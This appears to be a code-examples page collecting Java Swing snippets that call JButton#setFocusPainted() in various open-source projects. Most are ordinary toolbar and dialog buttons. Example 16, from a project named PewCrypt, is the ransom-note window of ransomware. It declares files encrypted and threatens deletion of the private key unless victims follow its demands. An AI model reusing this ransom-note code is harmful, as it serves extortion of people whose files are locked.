Java Code Examples for javax.swing.JButton#setFocusPainted()

The following examples show how to use javax.swing.JButton#setFocusPainted() . You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example 1
Source File: Place.java    From nordpos with GNU General Public License v3.0 6 votes vote down vote up
public void readValues(DataRead dr) throws BasicException {
    m_sId = dr.getString(1);
    m_sName = dr.getString(2);
    m_ix = dr.getInt(3).intValue();
    m_iy = dr.getInt(4).intValue();
    m_sfloor = dr.getString(5);
    
    m_bPeople = false;
    m_btn = new JButton();

    m_btn.setFocusPainted(false);
    m_btn.setFocusable(false);
    m_btn.setRequestFocusEnabled(false);
    m_btn.setHorizontalTextPosition(SwingConstants.CENTER);
    m_btn.setVerticalTextPosition(SwingConstants.BOTTOM);            
    m_btn.setIcon(ICO_FRE);
    m_btn.setText(m_sName);
}
 
Example 2
Source File: GUIFrame.java    From jaamsim with Apache License 2.0 6 votes vote down vote up
private void addFileOpenButton(JToolBar buttonBar, Insets margin) {
	JButton fileOpen = new JButton( new ImageIcon(
			GUIFrame.class.getResource("/resources/images/Open-16.png")) );
	fileOpen.setMargin(margin);
	fileOpen.setFocusPainted(false);
	fileOpen.setToolTipText(formatToolTip("Open... (Ctrl+O)", "Opens a model."));
	fileOpen.addActionListener( new ActionListener() {

		@Override
		public void actionPerformed( ActionEvent event ) {
			GUIFrame.this.load();
			controlStartResume.requestFocusInWindow();
		}
	} );
	buttonBar.add( fileOpen );
}
 
Example 3
Source File: JProductsSelector.java    From nordpos with GNU General Public License v3.0 6 votes vote down vote up
public void addProduct(Image img, String name, ActionListener al) {
    
    JButton btn = new JButton();
    btn.applyComponentOrientation(getComponentOrientation());
    btn.setText(name);
    btn.setFont(btn.getFont().deriveFont((float)24));
    btn.setIcon(new ImageIcon(img));
    btn.setFocusPainted(false);
    btn.setFocusable(false);
    btn.setRequestFocusEnabled(false);
    btn.setHorizontalTextPosition(SwingConstants.CENTER);
    btn.setVerticalTextPosition(SwingConstants.BOTTOM);
    btn.setMargin(new Insets(2, 2, 2, 2));
    btn.setMaximumSize(new Dimension(80, 70));
    btn.setPreferredSize(new Dimension(80, 70));
    btn.setMinimumSize(new Dimension(80, 70));
    btn.addActionListener(al);
    flowpanel.add(btn);        
}
 
Example 4
Source File: Toolbar.java    From android-classyshark with Apache License 2.0 6 votes vote down vote up
private JButton buildBackButton() {
    JButton result = new JButton(theme.getBackIcon());
    result.setToolTipText("Back");

    result.addActionListener(new ActionListener() {
        @Override
        public void actionPerformed(ActionEvent e) {
            toolbarController.onGoBackPressed();
        }
    });

    result.setBorderPainted(false);
    result.setFocusPainted(true);
    result.setEnabled(false);

    return result;
}
 
Example 5
Source File: GUIFrame.java    From jaamsim with Apache License 2.0 6 votes vote down vote up
private void addFileSaveButton(JToolBar buttonBar, Insets margin) {
	fileSave = new JButton( new ImageIcon(
			GUIFrame.class.getResource("/resources/images/Save-16.png")) );
	fileSave.setMargin(margin);
	fileSave.setFocusPainted(false);
	fileSave.setToolTipText(formatToolTip("Save (Ctrl+S)", "Saves the present model."));
	fileSave.setEnabled(false);
	fileSave.addActionListener( new ActionListener() {

		@Override
		public void actionPerformed( ActionEvent event ) {
			GUIFrame.this.save();
			controlStartResume.requestFocusInWindow();
		}
	} );
	buttonBar.add( fileSave );
}
 
Example 6
Source File: TwoStopsGradient.java    From filthy-rich-clients with BSD 3-Clause "New" or "Revised" License 6 votes vote down vote up
/** Creates a new instance of TwoStopsGradient */
public TwoStopsGradient() {
    super("Two Stops Gradient");
    
    JPanel panel = new JPanel(new GridBagLayout());
    JButton button;
    panel.add(button = new DepthButton("New"),
            new GridBagConstraints(0, 0, 1, 1,
                0.0, 0.0, GridBagConstraints.CENTER,
                GridBagConstraints.NONE, new Insets(3, 3, 3, 3), 0, 0));
    button.setFocusPainted(false);
    panel.add(button = new DepthButton("Open"),
            new GridBagConstraints(1, 0, 1, 1,
                0.0, 0.0, GridBagConstraints.CENTER,
                GridBagConstraints.NONE, new Insets(3, 3, 3, 3), 0, 0));
    button.setFocusPainted(false);
    panel.add(button = new DepthButton("Save"),
            new GridBagConstraints(2, 0, 1, 1,
                0.0, 0.0, GridBagConstraints.CENTER,
                GridBagConstraints.NONE, new Insets(3, 3, 3, 3), 0, 0));
    button.setFocusPainted(false);
    
    add(panel);
    setSize(320, 240);
}
 
Example 7
Source File: GUIFrame.java    From jaamsim with Apache License 2.0 5 votes vote down vote up
private void addFontColourButton(JToolBar buttonBar, Insets margin) {

		colourIcon = new ColorIcon(16, 16);
		colourIcon.setFillColor(Color.LIGHT_GRAY);
		colourIcon.setOutlineColor(Color.LIGHT_GRAY);
		fontColour = new JButton(colourIcon);
		fontColour.setMargin(margin);
		fontColour.setFocusPainted(false);
		fontColour.setRequestFocusEnabled(false);
		fontColour.setToolTipText(formatToolTip("Font Colour", "Sets the colour of the text."));
		fontColour.addActionListener(new ActionListener() {

			@Override
			public void actionPerformed( ActionEvent event ) {
				if (!(selectedEntity instanceof TextEntity))
					return;
				final TextEntity textEnt = (TextEntity) selectedEntity;
				final Color4d presentColour = textEnt.getFontColor();
				ArrayList<Color4d> coloursInUse = GUIFrame.getFontColoursInUse(sim);
				ColourMenu fontMenu = new ColourMenu(presentColour, coloursInUse, true) {

					@Override
					public void setColour(String colStr) {
						KeywordIndex kw = InputAgent.formatInput("FontColour", colStr);
						InputAgent.storeAndExecute(new KeywordCommand(selectedEntity, kw));
					}

				};
				fontMenu.show(fontColour, 0, fontColour.getPreferredSize().height);
				controlStartResume.requestFocusInWindow();
			}
		});

		buttonBar.add( fontColour );
	}
 
Example 8
Source File: SettingsPage.java    From xdm with GNU General Public License v2.0 5 votes vote down vote up
private JButton createButton2(String name) {
	JButton btn = new CustomButton(StringResource.get(name));
	btn.setBackground(ColorResource.getDarkBtnColor());
	btn.setBorderPainted(false);
	btn.setFocusPainted(false);
	btn.setForeground(Color.WHITE);
	btn.setFont(FontResource.getNormalFont());
	btn.addActionListener(this);
	return btn;
}
 
Example 9
Source File: FatalErrorDialog.java    From launcher with BSD 2-Clause "Simplified" License 5 votes vote down vote up
public FatalErrorDialog addButton(String message, Runnable action)
{
	JButton button = new JButton(message);
	button.addActionListener(e -> action.run());
	button.setFont(font);
	button.setBackground(DARK_GRAY_COLOR);
	button.setForeground(Color.LIGHT_GRAY);
	button.setBorder(BorderFactory.createCompoundBorder(
		BorderFactory.createMatteBorder(1, 0, 0, 0, DARK_GRAY_COLOR.brighter()),
		new EmptyBorder(4, 4, 4, 4)
	));
	button.setAlignmentX(Component.CENTER_ALIGNMENT);
	button.setMaximumSize(new Dimension(Integer.MAX_VALUE, Integer.MAX_VALUE));
	button.setFocusPainted(false);
	button.addChangeListener(ev ->
	{
		if (button.getModel().isPressed())
		{
			button.setBackground(DARKER_GRAY_COLOR);
		}
		else if (button.getModel().isRollover())
		{
			button.setBackground(DARK_GRAY_HOVER_COLOR);
		}
		else
		{
			button.setBackground(DARK_GRAY_COLOR);
		}
	});

	rightColumn.add(button);
	rightColumn.revalidate();

	return this;
}
 
Example 10
Source File: MarketPanel.java    From osrsclient with GNU General Public License v2.0 5 votes vote down vote up
private void setup() {
    setLayout(new MigLayout("ins 5, center"));
    Border loweredbevel = BorderFactory.createEtchedBorder(EtchedBorder.RAISED);
    Font f = new Font(new JLabel().getFont().getFontName(), Font.BOLD, new JLabel().getFont().getSize() + 2);
    ImageIcon searchicon = new ImageIcon(
            getClass().getClassLoader().getResource("resources/searchicon20.png"));

    itemDetailPanel = new ItemDetailPanel();
    itemInputField = new JTextField();
    itemLabel = new JLabel("ITEM:");
    searchButton = new JButton();

    itemDisplayPanel = new ItemListPanel();
    itemInputField.setBorder(loweredbevel);
    itemInputField.setBackground(new Color(51, 51, 51));
    itemLabel.setForeground(Color.white);
    itemLabel.setFont(new Font(itemLabel.getFont().getFontName(), Font.BOLD, itemLabel.getFont().getSize()));

    searchButton.setIcon(new javax.swing.ImageIcon(getClass().getClassLoader().getResource("resources/searchiconsquare3.png")));
    searchButton.setBorderPainted(false);
    searchButton.setFocusPainted(false);
    searchButton.setContentAreaFilled(false);

    itemDisplayPanel.setRolloverListener(this);

    add(itemLabel, "cell 0 0, gap 0, align left");
    add(searchButton, "cell 2 0,align right ");
    add(itemInputField, "width 60%, cell 1 0,align left,");
    add(itemDisplayPanel, "width 100%, height 30%, cell 0 1, center,spanx");
    //30% height on itemDetailPanel leaves ample room at the bottom
    //for a future offer-watcher.
    add(itemDetailPanel, "width 100%, height 50%, cell 0 2, center, spanx");

}
 
Example 11
Source File: OutputPreferences.java    From gcs with Mozilla Public License 2.0 5 votes vote down vote up
private JButton createHyperlinkButton(String linkText, String tooltip) {
    JButton button = new JButton(String.format("<html><body><font color=\"#000099\"><u>%s</u></font></body></html>", linkText));
    button.setFocusPainted(false);
    button.setMargin(new Insets(0, 0, 0, 0));
    button.setContentAreaFilled(false);
    button.setBorderPainted(false);
    button.setOpaque(false);
    button.setToolTipText(Text.wrapPlainTextForToolTip(tooltip));
    button.setBackground(Color.white);
    button.addActionListener(this);
    UIUtilities.setToPreferredSizeOnly(button);
    add(button);
    return button;
}
 
Example 12
Source File: hover_press_utilclass.java    From java-QQ- with Apache License 2.0 5 votes vote down vote up
public static JButton getbtnButton(String iconpath,String rolloverIconpath,String pressIconpath)
{ 

	JButton button=new JButton();
	button.setIcon(new ImageIcon(iconpath));
	button.setRolloverIcon(new ImageIcon(rolloverIconpath));
    button.setPressedIcon(new ImageIcon(pressIconpath));
    button.setBorder(null);
    button.setFocusPainted(false);
    button.setContentAreaFilled(false);
  
    return button;	

}
 
Example 13
Source File: GUIFrame.java    From jaamsim with Apache License 2.0 5 votes vote down vote up
private void addClearFormattingButton(JToolBar buttonBar, Insets margin) {
	clearButton = new JButton(new ImageIcon(
			GUIFrame.class.getResource("/resources/images/Clear-16.png")));
	clearButton.setToolTipText(formatToolTip("Clear Formatting",
			"Resets the format inputs for the selected Entity or DisplayModel to their default "
			+ "values."));
	clearButton.setMargin(margin);
	clearButton.setFocusPainted(false);
	clearButton.setRequestFocusEnabled(false);
	clearButton.addActionListener(new ActionListener() {
		@Override
		public void actionPerformed( ActionEvent event ) {
			if (selectedEntity == null)
				return;
			ArrayList<KeywordIndex> kwList = new ArrayList<>();
			for (Input<?> in : selectedEntity.getEditableInputs()) {
				String cat = in.getCategory();
				if (in.isDefault() || !cat.equals(Entity.FORMAT) && !cat.equals(Entity.FONT))
					continue;
				KeywordIndex kw = InputAgent.formatArgs(in.getKeyword());
				kwList.add(kw);
			}
			if (kwList.isEmpty())
				return;
			KeywordIndex[] kws = new KeywordIndex[kwList.size()];
			kwList.toArray(kws);
			InputAgent.storeAndExecute(new KeywordCommand(selectedEntity, kws));
			controlStartResume.requestFocusInWindow();
		}
	});
	buttonBar.add( clearButton );
}
 
Example 14
Source File: BatchDownloadWnd.java    From xdm with GNU General Public License v2.0 5 votes vote down vote up
private JButton createButton(String name) {
	JButton btn = new CustomButton(StringResource.get(name));
	btn.setBackground(ColorResource.getDarkBtnColor());
	btn.setBorderPainted(false);
	btn.setFocusPainted(false);
	btn.setForeground(Color.WHITE);
	btn.setFont(FontResource.getNormalFont());
	btn.addActionListener(this);
	return btn;
}
 
Example 15
Source File: BatchPatternDialog.java    From xdm with GNU General Public License v2.0 5 votes vote down vote up
private JButton createButton(String name) {
	JButton btn = new CustomButton(StringResource.get(name));
	btn.setBackground(ColorResource.getDarkBtnColor());
	btn.setBorderPainted(false);
	btn.setFocusPainted(false);
	btn.setForeground(Color.WHITE);
	btn.setFont(FontResource.getNormalFont());
	btn.addActionListener(this);
	return btn;
}
 
Example 16
Source File: UI.java    From PewCrypt with MIT License 4 votes vote down vote up
/**
 * Initialise the contents of the frame.
 */
private void initialize() {

	byte[] imageBytes = DatatypeConverter.parseBase64Binary(imgB64);

	try {

		img = ImageIO.read(new ByteArrayInputStream(imageBytes));

	} catch (IOException e1) {

		e1.printStackTrace();

	}

	frmYourFilesHave = new JFrame();
	frmYourFilesHave.setResizable(false);
	frmYourFilesHave.setIconImage(img);
	frmYourFilesHave.setTitle("PewCrypt");
	frmYourFilesHave.setType(Type.POPUP);
	frmYourFilesHave.getContentPane().setBackground(Color.BLACK);
	frmYourFilesHave.setBounds(100, 100, 1247, 850);
	frmYourFilesHave.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
	frmYourFilesHave.getContentPane().setLayout(null);

	txtYourFilesHave = new JTextField();
	txtYourFilesHave.setBounds(0, 0, 1215, 45);
	txtYourFilesHave.setHorizontalAlignment(SwingConstants.CENTER);
	txtYourFilesHave.setBackground(Color.BLACK);
	txtYourFilesHave.setForeground(Color.RED);
	txtYourFilesHave.setEditable(false);
	txtYourFilesHave.setText("Your Files Have Been Encrypted!");
	frmYourFilesHave.getContentPane().add(txtYourFilesHave);
	txtYourFilesHave.setColumns(10);

	JTextArea Instructions = new JTextArea();
	Instructions.setBounds(0, 242, 1215, 203);
	Instructions.setEditable(false);
	Instructions.setFont(new Font("Monospaced", Font.PLAIN, 18));
	Instructions.setBackground(Color.BLACK);
	Instructions.setForeground(Color.RED);
	Instructions.setText(
			"Your files have been encrypted using a 256 bit AES key which has been encrypted with a 2048 bit RSA key\r\nIn order to get your files back read the instructions bellow\r\n\r\nInstructions:\r\r\n - Subscribe to Pewdiepie (Hint: Hit the bro fist)\r\r\n - Wait until Pewdiepie reaches 100 million subs at which point a decryption tool will be realseaed\r\r\nIf T-Series beats Pewdiepie THE PRIVATE KEY WILL BE DELETED AND YOU FILES GONE FOREVER!");
	frmYourFilesHave.getContentPane().add(Instructions);

	progressBarPEW.setMaximum(100000000);
	progressBarPEW.setForeground(new Color(0, 153, 204));
	progressBarPEW.setToolTipText("Pewdiepie Sub Progress Bar");
	progressBarPEW.setBackground(Color.DARK_GRAY);
	progressBarPEW.setBounds(0, 85, 1215, 50);
	frmYourFilesHave.getContentPane().add(progressBarPEW);

	progressBarT.setMaximum(100000000);
	progressBarT.setForeground(new Color(204, 0, 0));
	progressBarT.setToolTipText("T-Series Sub Progress Bar");
	progressBarT.setBackground(Color.DARK_GRAY);
	progressBarT.setBounds(0, 186, 1215, 50);
	frmYourFilesHave.getContentPane().add(progressBarT);

	JButton btnNewButton = new JButton(new ImageIcon(img));
	btnNewButton.setBackground(Color.BLACK);
	btnNewButton.addActionListener(new ActionListener() {
		public void actionPerformed(ActionEvent arg0) {

			try {

				// open Pewdiepie channel
				Desktop.getDesktop().browse(new URI("https://www.youtube.com/channel/UC-lHJZR3Gqxm24_Vd_AJ5Yw"));

			} catch (IOException | URISyntaxException e) {

				e.printStackTrace();
			}
		}
	});
	btnNewButton.setBounds(491, 485, 241, 249);
	btnNewButton.setBorderPainted(false);
	btnNewButton.setFocusPainted(false);
	btnNewButton.setContentAreaFilled(false);
	frmYourFilesHave.getContentPane().add(btnNewButton);

	lblPewdiepie.setHorizontalAlignment(SwingConstants.CENTER);
	lblPewdiepie.setForeground(Color.RED);
	lblPewdiepie.setBounds(0, 47, 1215, 33);
	frmYourFilesHave.getContentPane().add(lblPewdiepie);

	lblT.setHorizontalAlignment(SwingConstants.CENTER);
	lblT.setForeground(Color.RED);
	lblT.setBounds(0, 144, 1215, 33);
	frmYourFilesHave.getContentPane().add(lblT);
}
 
Example 17
Source File: DarculaSplitPaneDivider.java    From Darcula with Apache License 2.0 4 votes vote down vote up
@Override
protected JButton createRightOneTouchButton() {
    JButton b = new JButton() {
        public void setBorder(Border border) {
        }
        public void paint(Graphics g) {
            if (splitPane != null) {
                int[]          xs = new int[3];
                int[]          ys = new int[3];
                int            blockSize;

                // Fill the background first ...
                g.setColor(this.getBackground());
                g.fillRect(0, 0, this.getWidth(),
                        this.getHeight());

                // ... then draw the arrow.
                if (orientation == JSplitPane.VERTICAL_SPLIT) {
                    blockSize = Math.min(getHeight(), ONE_TOUCH_SIZE);
                    xs[0] = blockSize;
                    xs[1] = blockSize << 1;
                    xs[2] = 0;
                    ys[0] = blockSize;
                    ys[1] = ys[2] = 0;
                }
                else {
                    blockSize = Math.min(getWidth(), ONE_TOUCH_SIZE);
                    xs[0] = xs[2] = 0;
                    xs[1] = blockSize;
                    ys[0] = 0;
                    ys[1] = blockSize;
                    ys[2] = blockSize << 1;
                }
                g.setColor(new DoubleColor(Gray._255, UIUtil.getLabelForeground()));
                g.fillPolygon(xs, ys, 3);
            }
        }
        // Don't want the button to participate in focus traversable.
        public boolean isFocusTraversable() {
            return false;
        }
    };
    b.setMinimumSize(new Dimension(ONE_TOUCH_SIZE, ONE_TOUCH_SIZE));
    b.setCursor(Cursor.getPredefinedCursor(Cursor.DEFAULT_CURSOR));
    b.setFocusPainted(false);
    b.setBorderPainted(false);
    b.setRequestFocusEnabled(false);
    return b;
}
 
Example 18
Source File: GUIFrame.java    From jaamsim with Apache License 2.0 4 votes vote down vote up
private void addFontSelector(JToolBar buttonBar, Insets margin) {

		font = new JTextField("");
		font.setEditable(false);
		font.setHorizontalAlignment(JTextField.CENTER);
		font.setPreferredSize(new Dimension(120, fileSave.getPreferredSize().height));
		font.setToolTipText(formatToolTip("Font", "Sets the font for the text."));
		buttonBar.add(font);

		fontSelector = new JButton(new ImageIcon(
				GUIFrame.class.getResource("/resources/images/dropdown.png")));
		fontSelector.setMargin(margin);
		fontSelector.setFocusPainted(false);
		fontSelector.setRequestFocusEnabled(false);
		fontSelector.addActionListener(new ActionListener() {

			@Override
			public void actionPerformed( ActionEvent event ) {
				if (!(selectedEntity instanceof TextEntity))
					return;
				final TextEntity textEnt = (TextEntity) selectedEntity;
				final String presentFontName = textEnt.getFontName();
				ArrayList<String> valuesInUse = GUIFrame.getFontsInUse(sim);
				ArrayList<String> choices = TextModel.validFontNames;
				PreviewablePopupMenu fontMenu = new PreviewablePopupMenu(presentFontName,
						valuesInUse, choices, true) {

					@Override
					public void setValue(String str) {
						font.setText(str);
						String name = Parser.addQuotesIfNeeded(str);
						KeywordIndex kw = InputAgent.formatInput("FontName", name);
						InputAgent.storeAndExecute(new KeywordCommand(selectedEntity, kw));
					}

				};
				fontMenu.show(font, 0, font.getPreferredSize().height);
				controlStartResume.requestFocusInWindow();
			}
		});

		buttonBar.add(fontSelector);
	}
 
Example 19
Source File: LuckInternalFrameTitlePane.java    From littleluck with Apache License 2.0 4 votes vote down vote up
/**
 * set Button attribute.
 *
 * @param btn Button object.
 * @param normalIcon  button icon properties.
 * @param rollverIcon button icon properties when mouse over.
 * @param pressedIcon button icon properties when mouse click.
 */
private void setBtnAtrr(JButton btn,
                        String normalIcon,
                        String rollverIcon,
                        String pressedIcon)
{
    btn.setBorder(null);

    btn.setFocusPainted(false);

    btn.setFocusable(false);

    btn.setBackground(null);

    btn.setContentAreaFilled(false);

    btn.setEnabled(false);

    btn.setIcon(UIManager.getIcon(normalIcon));

    btn.setRolloverIcon(UIManager.getIcon(rollverIcon));

    btn.setPressedIcon(UIManager.getIcon(pressedIcon));

    btn.setEnabled(true);
}
 
Example 20
Source File: LuckTitlePanel.java    From littleluck with Apache License 2.0 3 votes vote down vote up
/**
 * <p>设置按钮属性</p>
 *
 * <p>set window button attribute</p>
 *
 * @param btn
 */
protected void setBtnAtrr(JButton btn)
{
    btn.setOpaque(false);

    btn.setBorder(null);

    btn.setFocusPainted(false);

    btn.setFocusable(false);

    btn.setBackground(null);

    btn.setContentAreaFilled(false);
}